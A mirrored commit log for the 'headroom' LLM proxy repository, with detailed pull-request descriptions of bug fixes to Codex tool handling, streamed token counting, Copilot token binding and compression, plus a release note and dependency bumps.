mirror of
https://github.com/headroomlabs-ai/headroom.git
synced 2026-08-27 14:17:10 -04:00
2660 commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
gglucass
|
25ca580825
|
fix(proxy/responses): lift Codex >= 0.149.0 additional_tools into top-level tools (#3186)
## Description
Codex CLI 0.149.0 (npm `latest` since 2026-08-20 21:09 UTC) stopped
sending a top-level `tools` array on `/v1/responses` for models its
server-fetched capability cache flags (`gpt-5.6-sol`, its new default).
Tool definitions now ride inside `input` as items of a new type:
```json
{"type": "additional_tools", "tools": [ {...}, {...} ]}
```
Every tools consumer in the proxy - `tool_schema_compaction`, the
output-shaper stratum, the tools token accounting - reads only
`payload["tools"]`, so these requests classify `notools` and record
exactly zero tool-schema savings while forwarding and streaming
normally. Users on Codex <= 0.148 are unaffected; users silently lose
savings the moment their CLI updates. On our fleet the day after the
Codex release, 42 of 54 codex-primary users active in a 12h window had
savings frozen, and 0 of that day's codex new signups recorded any
savings.
This PR normalizes the new encoding to the classic one before
compression: `_lift_codex_additional_tools(payload)` concatenates the
carrier items' `tools` arrays into `payload["tools"]` and drops the
carriers from `input`, in place, once per compression pass - at the top
of `_compress_openai_responses_payload_in_executor`, the single funnel
every responses call site goes through (HTTP `/v1/responses`, WS first
and subsequent frames, passthrough). It no-ops when top-level `tools` is
already present, so classic-encoding clients pay nothing and a future
Codex reverting the change costs nothing. Normalizing (rather than
compacting inside the items and preserving the new wire shape) keeps
every downstream consumer working without touching their accounting; the
alternative shape is discussed in #3185.
Closes #3185
## Type of Change
- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)
## Changes Made
- `headroom/proxy/handlers/openai.py`: new module function
`_lift_codex_additional_tools(payload, *, request_id=None)` plus
`_codex_additional_tools_lift_enabled()` (env gate via
`runtime_env.getenv`, hot-reloadable); called defensively at the top of
`_compress_openai_responses_payload_in_executor` so a lift failure can
never break forwarding.
- `tests/test_openai_responses_additional_tools.py`: 8 tests - lift
shape, multi-carrier concatenation, no-op on classic encoding, no-op
without carriers / non-dict / non-list input, kill switch, logging,
empty-carrier preservation, and lift-then-compaction integration
reproducing the exact production failure (compaction returns unmodified
without the lift).
## Testing
- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [x] Manual testing performed
### Test Output
```text
$ uv run --frozen --extra dev pytest tests/test_openai_responses_additional_tools.py tests/test_openai_responses_context_compaction.py -q
==== 18 passed in 2.71s ====
$ uv run --frozen --extra dev pytest tests/test_proxy_openai.py -q # adjacent handler suite
==== 31 passed, 1 warning in 26.36s ====
$ uv run --frozen ruff check headroom/proxy/handlers/openai.py tests/test_openai_responses_additional_tools.py
All checks passed!
$ uv run --frozen ruff format --check headroom/proxy/handlers/openai.py tests/test_openai_responses_additional_tools.py
2 files already formatted
$ uv run --frozen mypy headroom/proxy/handlers/openai.py
Success: no issues found in 1 source file
```
## Real Behavior Proof
- Environment: macOS 15 (arm64), headroom-ai 0.35.0 wheel in a fresh
venv with empty state (`HOME` pointed at an empty dir), `headroom proxy
--port 6799 --no-http2 --log-messages --no-ccr`; Codex CLI 0.149.0
(standalone npm install) and 0.142.4, ChatGPT-plan OAuth, routed via a
`[model_providers]` block in `config.toml`.
- Exact command / steps: `CODEX_HOME=<test home> codex exec
--skip-git-repo-check "Run the shell command: echo headroom-test-123.
Then reply with exactly the output it printed."` against the proxy,
before and after injecting the lift (via a sitecustomize carrying the
same function); cross-checked Codex 0.142.4 default (gpt-5.5), 0.142.4
`-m gpt-5.6-sol`, and 0.149.0 `-m gpt-5.5`.
- Observed result: before - `/v1/responses compressed 59425->59425 bytes
(0 tokens saved,
transforms=['output_shaper:stratum:gpt|new_user_ask|m|notools',
'output_shaper:verbosity:L2'])` despite ~12k tokens of tool schemas in
the request (Codex's own `tool_token_count` log field). After -
`/v1/responses compressed 59437->58716 bytes (608 tokens saved,
transforms=['output_shaper:stratum:gpt|new_user_ask|m|tools',
'output_shaper:verbosity:L2',
'openai:responses:tool_schema_compaction'])`; the shell tool call
executed against the live ChatGPT Codex backend and returned its output,
the follow-up turn classified `mechanical_continuation|m|tools`, and the
prefix cache stayed hot (cache_hit_pct=100 on turn 2). The three
cross-check matrix cells all compress, confirming the backend accepts
the classic top-level encoding for these models and that the regression
is 0.149.0's default-model path specifically.
- Not tested: Codex over the WebSocket transport (the verified setups
pin `supports_websockets = false`; the lift sits in the shared executor
those frames also funnel through, and unit tests cover the per-frame
payload shapes); non-ChatGPT (API-key) Codex auth; models other than
gpt-5.5/gpt-5.6-sol.
## Runtime Rollout Safety
- Rollout-managed feature(s): none - not wired to the rollout system.
- Minimum rollout channel: n/a.
- Stable/default behavior changed: only for requests carrying
`additional_tools` input items with no top-level `tools` (the Codex >=
0.149.0 default-model encoding, which today gets zero compression); all
other traffic is byte-identical.
- Kill switch / disable path: `HEADROOM_CODEX_ADDITIONAL_TOOLS_LIFT=0`
(read through `runtime_env.getenv`, so hot-reload overrides apply
without a restart).
- Unsafe override required: no.
- Qualification impact: none known.
- Rollback path: set the kill switch, or revert this single commit - the
lift is self-contained (one function + one guarded call site).
## Review Readiness
- [x] I have performed a self-review
- [x] This PR is ready for human review
## Checklist
- [x] My code follows the project's style guidelines
- [x] I have performed a self-review of my code
- [x] I have commented my code, particularly in hard-to-understand areas
- [ ] I have made corresponding changes to the documentation
- [x] My changes generate no new warnings
- [x] I have added tests that prove my fix is effective or that my
feature works
- [x] New and existing unit tests pass locally with my changes
- [x] I did **not** edit `CHANGELOG.md` — it is generated by
release-please from my Conventional Commit PR title (a CI guard enforces
this)
## Screenshots (if applicable)
n/a - proxy log lines quoted under Real Behavior Proof.
## Additional Notes
- Documentation checklist item is unchecked because no user-facing docs
describe the responses tools handling; happy to add a line wherever you
track client-compat notes if you have a preferred spot.
- If you would rather preserve the new wire shape upstream (compact
inside the carrier items instead of normalizing), I am happy to rework -
trade-offs are laid out in #3185.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
|
||
|
JD Davis
|
5e0ce242e9
|
chore: release 0.36.2 (#3157)
🤖 I have created a release *beep* *boop* --- ## [0.36.2](https://github.com/headroomlabs-ai/headroom/compare/v0.36.1...v0.36.2) (2026-08-21) ### Bug Fixes * **copilot:** bind the minted token to the integration ID we forward ([#3164](https://github.com/headroomlabs-ai/headroom/issues/3164)) ([ |
||
|
Tejas Chopra
|
4006964a03
|
fix(proxy): count output tokens from the stream's text, not its wire size (#3163)
## Description
From a user's proxy log (Copilot Chat, 0.36.x), on every streamed turn:
```
WARNING Could not parse output_tokens from SSE, estimating 8 from 334 bytes
```
When an upstream sends no usage chunk, output tokens were estimated as
`total_bytes // 40` over the **raw SSE wire** — every `data:` prefix,
JSON envelope, `role` / `finish_reason` / `id` / `model` field and
blank-line framing included.
The divisor is a fudge for "bytes per token *including framing
overhead*", so its error tracks **how chattily the answer was chunked**
rather than how long the answer was. The same text split into more
deltas scores higher purely for being split.
GitHub's Copilot CAPI is one of the upstreams that omits the usage
chunk, so this was every Copilot turn's output number — and output
tokens feed both the output-shaping savings estimate and the cost model.
Closes #
## Type of Change
- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)
## Changes Made
- New pure module `headroom/proxy/stream_output_tokens.py`. The stream's
own text is already in the buffer at the estimation site
(`_finalize_stream_response` receives `full_sse_data`), so extract it
and count that instead of the wire.
- Handles all three forwarded surfaces: OpenAI chat
`choices[].delta.content`, OpenAI responses `*.delta`, Anthropic
`content_block_delta`.
- Counts **reasoning deltas and tool-call arguments** too — the provider
bills those as output, so omitting them would under-count exactly the
most expensive turns.
- `bytes // 40` survives only as the last resort for a stream whose text
could not be recovered. That is the upstream-error path, which reaches
the finalizer with no stream text and has no generated text to count —
so it keeps its previous behavior exactly.
- The log line named the wrong basis (it always said "from N bytes"), so
it now reports which rung produced the number.
- Parsing is I/O-free and hardened against malformed input — it runs on
the response path, where an exception would break a turn that had
already succeeded.
## Testing
- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [ ] Manual testing performed
### Test Output
```text
$ pytest tests/test_stream_output_tokens.py -q
21 passed in 0.23s
$ pytest tests/ -q -k stream
502 passed, 19 skipped
$ pytest tests/ -q # this branch
6 failed, 11394 passed, 587 skipped in 426.13s
All 6 also fail on clean origin/main, same machine — pre-existing, not regressions:
test_graceful_shutdown.py::test_run_server_installs_cancelled_error_filter
test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
test_release_workflows.py::test_no_native_tls_in_wheel_build_tree
test_providers/test_deepseek.py::... (3 litellm pricing tests)
$ ruff check headroom/
All checks passed!
$ mypy headroom/proxy/stream_output_tokens.py
Success
```
Coverage includes: per-surface extraction; reasoning/tool-argument
deltas; multi-line `data:` fields (per the SSE spec); 10 malformed-input
shapes that must yield `""` rather than raise; and the two properties
that motivated the change —
- **chunk-invariance**: the same text split one-delta vs per-character
now yields the same count, where the wire estimator disagreed wildly;
- **a short answer is never recorded as zero** (integer division would
report 0 tokens for `"OK"`).
## Real Behavior Proof
- **Environment:** macOS, Python 3.12.13, branch on `origin/main` @
`
|
||
|
Tejas Chopra
|
397803a942
|
fix(copilot): bind the minted token to the integration ID we forward (#3164)
## Description
Reported from a Copilot CLI session:
```
[CopilotCLISession] Failed to fetch models: Error: 401 "unauthorized:
unable to validate HMAC for the given Copilot-Integration-ID"
[CopilotCLISession] Proxy URL configured (authType=hmac), skipping
client-side token validation
```
GitHub **binds a Copilot API token to the `Copilot-Integration-Id` it
was minted under** and verifies the pairing with an HMAC. Present a
token minted for integration A alongside a header naming integration B,
and you get exactly this error.
`apply_copilot_api_auth` applied the integration ID with *set-default*
semantics — `_set_header_default` returns early when the header is
already present — **before** deciding whose token to use:
```python
for name, value in _copilot_chat_header_defaults().items():
_set_header_default(resolved, name, value) # ← never overwrites
...
if incoming_auth and _is_forwardable_copilot_bearer_token(...):
return resolved # client's token kept
...
token = await get_copilot_token_provider().get_api_token() # ← REPLACED
```
The client always sends an ID, so when Headroom replaced the token — the
common case, logged as `incoming token not suitable (kind=unknown), will
replace` — the request left carrying **the client's integration ID next
to Headroom's token**, minted under `vscode-chat` via
`_copilot_token_exchange_headers`. A Copilot CLI session does not
identify as `vscode-chat`.
The second log line is why nothing caught it sooner: seeing a proxy URL,
the Copilot client reports `authType=hmac` and **skips its own token
validation**, deferring to the proxy. Nobody validates the pairing until
GitHub rejects it.
**Why this matters beyond one 401:** the failing call is *model
discovery*. When it fails the client falls back to its built-in model
list — which is why a user's selected model never appeared in telemetry
and all traffic surfaced as `gpt-4o-mini`.
Closes #
## Type of Change
- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)
## Changes Made
Restores one invariant: **the credential and the integration ID leave
together.**
- **Mint under the client's ID** rather than the proxy's default, so
GitHub's usage attribution keeps pointing at the surface that actually
made the call.
- **Overwrite the forwarded header to match what we minted** — but only
on the replace path. The pass-through branch returns earlier and keeps
the client's own ID beside the client's own token, which is equally a
matched pair.
- **Key the token cache by integration ID.** A single slot would hand a
`vscode-chat` token to a CLI session and reproduce the same 401 straight
from cache.
Two existing contracts deliberately preserved:
- Resolution order is **client header > `GITHUB_COPILOT_INTEGRATION_ID`
> built-in default**. The env var configures the *default* this proxy
sends; it does not override a client that stated its own identity.
Pinned by the existing
`test_apply_copilot_api_auth_preserves_existing_copilot_headers` (whose
fixture literally names the value `should-not-override`).
- The overwrite writes through the client's **existing key**, so a
lowercase `copilot-integration-id` does not gain a second capitalised
variant beside it — pinned by the existing
`..._preserves_existing_headers_case_insensitively`.
Existing test stubs for `get_api_token` gained the new keyword — the
same signature-drift hazard this repo just hit in
`RemoteKompressCompressor` (#3162).
## Testing
- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [ ] Manual testing performed
### Test Output
```text
$ pytest tests/ -q -k copilot
338 passed, 8 skipped
$ pytest tests/ -q # this branch
6 failed, 11386 passed, 587 skipped in 425.40s
All 6 also fail on clean origin/main, same machine — pre-existing, not regressions:
test_graceful_shutdown.py::test_run_server_installs_cancelled_error_filter
test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
test_release_workflows.py::test_no_native_tls_in_wheel_build_tree
test_providers/test_deepseek.py::... (3 litellm pricing tests)
$ ruff check headroom/
All checks passed!
$ mypy headroom/copilot_auth.py
0 errors
```
12 new tests: the mint/forward pairing, the pass-through branch keeping
the client's pair untouched, no duplicate case-variant header,
resolution order in both directions, blank/absent client values,
non-Copilot upstreams untouched, and per-integration cache isolation.
## Real Behavior Proof
- **Environment:** macOS, Python 3.12.13, branch on `origin/main` @
`
|
||
|
Tejas Chopra
|
45cb1b9c48
|
fix(kompress): accept ccr_original on the remote compressor (#3162)
## Description
From a user's proxy log (Copilot Chat 0.61.0 on Windows, VS Code
1.133.0, Headroom 0.36.x). This appears on **every single request**:
```
WARNING Kompress failed: RemoteKompressCompressor.compress() got an
unexpected keyword argument 'ccr_original'
INFO [router] route_counts={'ratio_too_high': 1, 'cache_miss': 1} compressed=0 frozen=1 msgs=2
INFO Transform content_router: 1611 -> 1611 tokens (saved 0) [48.3ms]
INFO PERF model=... tok_before=1623 tok_after=1623 tok_saved=0 tool_saved=0 savings=none
```
`RemoteKompressCompressor`'s module docstring promises the class
"mirrors `KompressCompressor`'s public surface (`is_ready` / `preload` /
`ensure_background_load` / `compress`), so it is a drop-in at the
ContentRouter seam". That promise lapsed — the local `compress` gained a
`ccr_original` keyword and the remote one did not.
`ContentRouter._try_ml_compressor` passes `ccr_original` whenever custom
tags are protected. The comment there reads:
> Only set it when tags were protected so callers/compressors that don't
accept the kwarg are unaffected on the common path.
That assumption is wrong. The remote compressor **is** affected: the
call raises `TypeError`, which the surrounding broad `except Exception`
catches and downgrades to `logger.warning("Kompress failed: %s", e)`.
The request then forwards uncompressed and the proxy reports success.
**The blast radius is the entire deployment, not one request.**
`_get_kompress` returns the remote compressor *ahead of* every local
path, so on any install with `HEADROOM_KOMPRESS_ENDPOINT` set —
precisely the sandboxed/enterprise deployment this class exists to serve
— ML compression was silently disabled while every dashboard read
"working, 0 tokens saved".
Closes #
## Type of Change
- [x] Bug fix (non-breaking change that fixes an issue)
- [ ] New feature (non-breaking change that adds functionality)
- [ ] Breaking change (fix or feature that would cause existing
functionality to change)
- [ ] Documentation update
- [ ] Performance improvement
- [ ] Code refactoring (no functional changes)
## Changes Made
Two parts, because fixing only the crash would leave the bug
`ccr_original` exists to prevent:
- **Accept the keyword** on `RemoteKompressCompressor.compress`, so the
seam contract actually holds.
- **Honor it** — store the pre-protection text in CCR rather than the
placeholder intermediate, so a later full retrieval returns the real
block instead of `{{HEADROOM_TAG_N}}`. The endpoint's own
`original_tokens` describes `content`, so when an override is supplied
the stored text is counted locally; the common path (no override) keeps
the endpoint's count exactly as before.
- **A signature-compatibility test** over the two `compress` methods, so
this drift cannot recur silently. It compares *public* keywords only —
`_deadline_started_at` is underscore-prefixed and only ever passed by
`kompress_compressor` to itself on its recursive batch path, never
across the seam.
## Testing
- [x] Unit tests pass (`pytest`)
- [x] Linting passes (`ruff check .`)
- [x] Type checking passes (`mypy headroom`)
- [x] New tests added for new functionality
- [ ] Manual testing performed
### Test Output
```text
$ pytest tests/test_remote_kompress_dropin.py -q
8 passed in 0.25s
# Same file against pre-fix code (git stash) — reproduces the reported error:
3 failed, 5 passed
FAILED test_remote_compress_accepts_every_local_keyword
FAILED test_passing_ccr_original_no_longer_raises
FAILED test_ccr_stores_the_pre_protection_text_not_the_placeholder
E TypeError: RemoteKompressCompressor.compress() got an unexpected
keyword argument 'ccr_original'
$ pytest tests/ -q -k "kompress or content_router"
411 passed, 9 skipped
$ pytest tests/ -q # this branch
6 failed, 11381 passed, 587 skipped in 446.31s
All 6 also fail on clean origin/main, same machine — pre-existing, not regressions:
test_graceful_shutdown.py::test_run_server_installs_cancelled_error_filter
test_learn/test_integration.py::TestCodexIntegration::test_full_pipeline
test_release_workflows.py::test_no_native_tls_in_wheel_build_tree
test_providers/test_deepseek.py::...v4_flash_litellm_pricing
test_providers/test_deepseek.py::...v4_pro_litellm_pricing
test_providers/test_deepseek.py::...cost_per_token_resolves_deepseek_v4_flash
(verified by stashing this branch and running test_deepseek.py: 3 failed, 17 passed)
$ ruff check headroom/
All checks passed!
$ mypy headroom/transforms/kompress_remote.py
Success: no issues found in 1 source file
```
## Real Behavior Proof
- **Environment:** macOS, Python 3.12.13, branch on `origin/main` @
`
|
||
|
JD Davis
|
1bea0ea31a
|
test: track active LiteLLM DeepSeek pricing (#3161)
## Description Keep the LiteLLM DeepSeek V4 integration tests compatible with upstream-owned pricing entries. LiteLLM now publishes these models directly, so Headroom correctly preserves upstream values instead of installing its fallback values; the tests must validate the active entry rather than require fallback prices. Related: #3157 ## Type of Change - [x] Bug fix (non-breaking change that fixes an issue) - [ ] New feature (non-breaking change that adds functionality) - [ ] Breaking change (fix or feature that would cause existing functionality to change) - [ ] Documentation update - [ ] Performance improvement - [ ] Code refactoring (no functional changes) ## Changes Made - Validate that active upstream DeepSeek V4 price entries contain positive input and output prices. - Compare `cost_per_token` results with the active LiteLLM model-cost entry. - Preserve the existing fallback-price and non-overwrite coverage. ## Testing - [x] Unit tests pass (`pytest`) - [x] Linting passes (`ruff check .`) - [x] Type checking passes (`mypy headroom`) - [ ] New tests added for new functionality - [ ] Manual testing performed ### Test Output ```text python -m pytest tests/test_providers/test_deepseek.py -q 20 passed in 4.63s ruff check tests/test_providers/test_deepseek.py All checks passed! ruff format --check tests/test_providers/test_deepseek.py 1 file already formatted pre-commit: Ruff alignment, merge-conflict check, Ruff, Ruff format, and mypy all passed ``` ## Real Behavior Proof - Environment: Windows, Python 3.13.13, LiteLLM model-cost data available. - Exact command / steps: `python -m pytest tests/test_providers/test_deepseek.py -q` - Observed result: all 20 DeepSeek provider and pricing tests pass against the active LiteLLM entries. - Not tested: provider API calls; this change only concerns local pricing metadata assertions. ## Runtime Rollout Safety - Rollout-managed feature(s): None. - Minimum rollout channel: N/A. - Stable/default behavior changed: No runtime behavior changes. - Kill switch / disable path: N/A. - Unsafe override required: No. - Qualification impact: Restores deterministic CI coverage for upstream-owned pricing entries. - Rollback path: Revert this test-only commit. ## Review Readiness - [x] I have performed a self-review - [x] This PR is ready for review ## Checklist - [x] My code follows the project's style guidelines - [x] I have performed a self-review of my code - [x] I have commented my code where needed - [ ] I have made corresponding changes to the documentation - [x] My changes generate no new warnings - [x] Existing tests prove the fix is effective - [x] New and existing unit tests pass locally with my changes - [x] I did **not** edit `CHANGELOG.md` — it is generated by release-please from my Conventional Commit PR title (a CI guard enforces this) ## Screenshots (if applicable) N/A — test-only change. ## Additional Notes Documentation changes are not applicable because runtime behavior and public APIs are unchanged. |
||
|
dependabot[bot]
|
a382137844
|
deps: bump typescript from 5.9.3 to 7.0.2 in /plugins/opencode (#2280)
Bumps [typescript](https://github.com/microsoft/TypeScript) from 5.9.3 to 7.0.2. <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/microsoft/TypeScript/releases">typescript's releases</a>.</em></p> <blockquote> <h2>TypeScript 6.0.3</h2> <p>For release notes, check out the <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/">release announcement blog post</a>.</p> <ul> <li><a href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&q=milestone%3A%22TypeScript+6.0.0%22">fixed issues query for TypeScript 6.0.0 (Beta)</a>.</li> <li><a href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&q=milestone%3A%22TypeScript+6.0.1%22">fixed issues query for TypeScript 6.0.1 (RC)</a>.</li> <li><a href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&q=milestone%3A%22TypeScript+6.0.2%22">fixed issues query for TypeScript 6.0.2 (Stable)</a>.</li> <li><a href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&q=milestone%3A%22TypeScript+6.0.3%22">fixed issues query for TypeScript 6.0.3 (Stable)</a>.</li> </ul> <p>Downloads are available on:</p> <ul> <li><a href="https://www.npmjs.com/package/typescript">npm</a></li> </ul> <h2>TypeScript 6.0</h2> <p>For release notes, check out the <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/">release announcement blog post</a>.</p> <ul> <li><a href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&q=milestone%3A%22TypeScript+6.0.0%22">fixed issues query for TypeScript 6.0.0 (Beta)</a>.</li> <li><a href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&q=milestone%3A%22TypeScript+6.0.1%22">fixed issues query for TypeScript 6.0.1 (RC)</a>.</li> <li><a href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&q=milestone%3A%22TypeScript+6.0.2%22">fixed issues query for TypeScript 6.0.2 (Stable)</a>.</li> </ul> <p>Downloads are available on:</p> <ul> <li><a href="https://www.npmjs.com/package/typescript">npm</a></li> </ul> <h2>TypeScript 6.0.1 RC</h2> <p>For release notes, check out the <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-6-0-rc/">release announcement blog post</a>.</p> <ul> <li><a href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&q=milestone%3A%22TypeScript+6.0.0%22">fixed issues query for TypeScript 6.0.0 (Beta)</a>.</li> <li><a href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&q=milestone%3A%22TypeScript+6.0.1%22">fixed issues query for TypeScript 6.0.1 (RC)</a>.</li> </ul> <p>Downloads are available on:</p> <ul> <li><a href="https://www.npmjs.com/package/typescript">npm</a></li> </ul> <h2>TypeScript 6.0 Beta</h2> <p>For release notes, check out the <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-6-0-beta/">release announcement</a>.</p> <ul> <li><a href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&q=milestone%3A%22TypeScript+6.0.0%22+is%3Aclosed+">fixed issues query for Typescript 6.0.0 (Beta)</a>.</li> </ul> <p>Downloads are available on:</p> <ul> <li><a href="https://www.npmjs.com/package/typescript">npm</a></li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li>See full diff in <a href="https://github.com/microsoft/TypeScript/commits">compare view</a></li> </ul> </details> <details> <summary>Maintainer changes</summary> <p>This version was pushed to npm by <a href="https://www.npmjs.com/~microsoft1es">microsoft1es</a>, a new releaser for typescript since your current version.</p> </details> <br /> > **Note** > Automatic rebases have been disabled on this pull request as it has been open for over 30 days. --------- Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: JerrettDavis <mxjerrett@gmail.com> |
||
|
dependabot[bot]
|
85774fcb70
|
deps: bump typescript from 5.9.3 to 7.0.2 in /plugins/openclaw (#2279)
Bumps [typescript](https://github.com/microsoft/TypeScript) from 5.9.3 to 7.0.2. <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/microsoft/TypeScript/releases">typescript's releases</a>.</em></p> <blockquote> <h2>TypeScript 6.0.3</h2> <p>For release notes, check out the <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/">release announcement blog post</a>.</p> <ul> <li><a href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&q=milestone%3A%22TypeScript+6.0.0%22">fixed issues query for TypeScript 6.0.0 (Beta)</a>.</li> <li><a href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&q=milestone%3A%22TypeScript+6.0.1%22">fixed issues query for TypeScript 6.0.1 (RC)</a>.</li> <li><a href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&q=milestone%3A%22TypeScript+6.0.2%22">fixed issues query for TypeScript 6.0.2 (Stable)</a>.</li> <li><a href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&q=milestone%3A%22TypeScript+6.0.3%22">fixed issues query for TypeScript 6.0.3 (Stable)</a>.</li> </ul> <p>Downloads are available on:</p> <ul> <li><a href="https://www.npmjs.com/package/typescript">npm</a></li> </ul> <h2>TypeScript 6.0</h2> <p>For release notes, check out the <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/">release announcement blog post</a>.</p> <ul> <li><a href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&q=milestone%3A%22TypeScript+6.0.0%22">fixed issues query for TypeScript 6.0.0 (Beta)</a>.</li> <li><a href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&q=milestone%3A%22TypeScript+6.0.1%22">fixed issues query for TypeScript 6.0.1 (RC)</a>.</li> <li><a href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&q=milestone%3A%22TypeScript+6.0.2%22">fixed issues query for TypeScript 6.0.2 (Stable)</a>.</li> </ul> <p>Downloads are available on:</p> <ul> <li><a href="https://www.npmjs.com/package/typescript">npm</a></li> </ul> <h2>TypeScript 6.0.1 RC</h2> <p>For release notes, check out the <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-6-0-rc/">release announcement blog post</a>.</p> <ul> <li><a href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&q=milestone%3A%22TypeScript+6.0.0%22">fixed issues query for TypeScript 6.0.0 (Beta)</a>.</li> <li><a href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&q=milestone%3A%22TypeScript+6.0.1%22">fixed issues query for TypeScript 6.0.1 (RC)</a>.</li> </ul> <p>Downloads are available on:</p> <ul> <li><a href="https://www.npmjs.com/package/typescript">npm</a></li> </ul> <h2>TypeScript 6.0 Beta</h2> <p>For release notes, check out the <a href="https://devblogs.microsoft.com/typescript/announcing-typescript-6-0-beta/">release announcement</a>.</p> <ul> <li><a href="https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93&q=milestone%3A%22TypeScript+6.0.0%22+is%3Aclosed+">fixed issues query for Typescript 6.0.0 (Beta)</a>.</li> </ul> <p>Downloads are available on:</p> <ul> <li><a href="https://www.npmjs.com/package/typescript">npm</a></li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li>See full diff in <a href="https://github.com/microsoft/TypeScript/commits">compare view</a></li> </ul> </details> <details> <summary>Maintainer changes</summary> <p>This version was pushed to npm by <a href="https://www.npmjs.com/~microsoft1es">microsoft1es</a>, a new releaser for typescript since your current version.</p> </details> <br /> > **Note** > Automatic rebases have been disabled on this pull request as it has been open for over 30 days. --------- Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: JerrettDavis <mxjerrett@gmail.com> |
||
|
dependabot[bot]
|
f7e5d37f52
|
deps: bump ai from 6.0.149 to 7.0.59 in /docs (#2277)
Bumps [ai](https://github.com/vercel/ai/tree/HEAD/packages/ai) from 6.0.149 to 7.0.59. <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/vercel/ai/releases">ai's releases</a>.</em></p> <blockquote> <h2>ai@6.0.253</h2> <h3>Patch Changes</h3> <ul> <li>d91d30b: Preserve reasoning block IDs from UI message streams on reasoning UI parts.</li> <li>Updated dependencies [0ec239b] <ul> <li><code>@ai-sdk/gateway</code><a href="https://github.com/3"><code>@3</code></a>.0.172</li> </ul> </li> </ul> <h2>ai@6.0.252</h2> <h3>Patch Changes</h3> <ul> <li>2f96d3f: Allow providers without reranking model support to satisfy the <code>Provider</code> type.</li> <li>afb1965: Propagate errors thrown by the Chat <code>onFinish</code> callback to the initiating request.</li> <li>Updated dependencies [18b0965]</li> <li>Updated dependencies [451d2c3] <ul> <li><code>@ai-sdk/gateway</code><a href="https://github.com/3"><code>@3</code></a>.0.171</li> </ul> </li> </ul> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/vercel/ai/blob/main/packages/ai/CHANGELOG.md">ai's changelog</a>.</em></p> <blockquote> <h2>7.0.59</h2> <h3>Patch Changes</h3> <ul> <li>Updated dependencies [401a4ba]</li> <li>Updated dependencies [7af9646] <ul> <li><code>@ai-sdk/provider-utils</code><a href="https://github.com/5"><code>@5</code></a>.0.26</li> <li><code>@ai-sdk/gateway</code><a href="https://github.com/4"><code>@4</code></a>.0.47</li> </ul> </li> </ul> <h2>7.0.58</h2> <h3>Patch Changes</h3> <ul> <li> <p>72ad23f: Respect ToolLoopAgent timeouts configured in agent settings.</p> </li> <li> <p>ad6a650: feat(video): allow <code>aspectRatio: 'adaptive'</code> on <code>generateVideo</code></p> <p>Some video models derive the output ratio from the input and reject explicit <code>{width}:{height}</code> values — BytePlus Seedance 2.5 does this for first-frame, first-and-last-frame, editing, and extension tasks. <code>aspectRatio</code> on <code>VideoModelV3CallOptions</code>, <code>VideoModelV4CallOptions</code>, and <code>experimental_generateVideo</code> is now <code>`${number}:${number}` | 'adaptive'</code>, so those calls no longer need a type assertion. Support is provider-specific.</p> </li> <li> <p>81cd026: Reduce bundle size by making internal Zod v4 imports tree-shakeable.</p> </li> <li> <p>Updated dependencies 